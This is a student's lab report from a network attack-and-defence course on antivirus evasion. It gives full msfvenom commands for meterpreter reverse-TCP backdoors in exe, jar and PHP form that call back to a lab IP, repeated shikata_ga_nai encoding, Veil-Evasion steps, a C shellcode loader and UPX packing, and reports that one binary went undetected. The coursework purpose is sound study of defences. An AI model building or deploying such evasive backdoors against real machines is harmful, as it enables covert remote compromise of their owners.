20155328 《网络攻防》 实验三:免杀原理与实践
实验过程记录
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
将实验二中生成的后门程序投递到virscan网站上,扫描结果如下:
用virustotal扫描结果如下:
尝试用msf编码器对后门程序进行一次或多次编码。
一次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded.exe
十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded10.exe
用命令msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor_java.jar
生成jar文件:
用命令msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor.php
生成PHP后门程序:
veil-evasion
这个过程需要先安装veil-evasion,由于网速太慢,安装过程耗时太多。我用了同学的虚拟机来做这部分实验。
先在终端中输入veil命令启用veil;然后输入veil evasion进入。
输入命令use python/meterpreter/rev_tcp.py
用python语言重写meterpreter。
用set LHOST 192.168.217.132
设置反弹连接IP,set LPORT 5328
设置端口。
输入generate
生成文件,填写payload的名称。出现错误提示,没法用python语言。
然后就从头开始,将use...中的python换成c即可。
成功生成的payload如图所示。
在virscan中投递,查看有没有起到免杀效果。可以看到还是好了很多的。
C语言调用shellcode
kali终端下,输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=虚拟机IP LPORT=443 -f c
,生成数组。
创建20155328.c,把数组拷贝进去,并加上主函数。
终端下输入i686-w64-mingw32-g++ MSSC.c -o 20155328.exe
生成可执行文件20155328.exe。投递到virscan上。
把可执行文件移到主机中,运行后马上就被360查出来了。(反应速度真的很快。。我都没反应过来
(查出来)
加壳
在kali中用upx命令对可执行文件进行加壳操作。
(加壳)
移到主机中,运行后进行全面杀毒,也没有查出来(朋友的电脑本身有一些危险
基础问题回答
- 杀软是如何检测出恶意代码的?
通过检测特征码或者特定行为。恶意代码都有其特有的特征码。
- 免杀是干啥的?
防止计算机杀毒软件对恶意代码的查杀。
- 免杀的基本方法有啥?
改变特征码;在看似正常的应用中插入特征码。
离实战缺什么
不知道该怎么把自己生成的后门放到想攻击的机器里。
实践总结与体会
老师今天上课说要带着好奇心去做。。其实做这个还是有点意思的,不断尝试检测看能否躲过杀毒软件,又不断改进。下次加油。。不要再拖到这么晚做了。。